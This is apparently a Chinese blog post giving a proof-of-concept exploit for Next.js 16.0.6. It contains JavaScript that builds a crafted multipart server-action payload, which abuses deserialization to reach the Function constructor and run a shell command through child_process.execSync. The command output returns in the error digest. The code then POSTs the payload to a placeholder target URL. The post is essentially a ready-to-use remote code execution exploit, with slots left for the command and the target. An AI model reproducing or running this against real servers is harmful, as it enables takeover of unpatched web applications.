Next.js 16.0.6版本漏洞poc

Next.js 16.0.6版本漏洞poc

结果会在digest属性中

const payload = {
    0: "$1",
    1: {
        status: "resolved_model",
        reason: 0,
        _response: "$4",
        value: '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        then: "$2:then",
    },
    2: "$@3",
    3: [],
    4: {
        _prefix:
            "var res = process.mainModule.require('child_process').execSync('【待执行命令】', {'timeout': 5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${res}`});//",
        _formData: {
            get: "$3:constructor:constructor",
        },
        _chunks: "$2:_response:_chunks",
    },
};

import FormDataLib from "form-data";

const fd = new FormDataLib();

for (const key in payload) {
    fd.append(key, JSON.stringify(payload[key]));
}

console.log(fd.getBuffer().toString());

console.log(fd.getHeaders());

function exploitNext(baseUrl) {
    fetch(baseUrl, {
        method: "POST",
        headers: {
            "next-action": "x",
            ...fd.getHeaders(),
        },
        body: fd.getBuffer(),
    })
        .then((x) => {
            console.log("fetched", x);
            return x.text();
        })
        .then((x) => {
            console.log("got", x);
        });
}

exploitNext("【环境地址,比如http://localhost:3000/】");
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇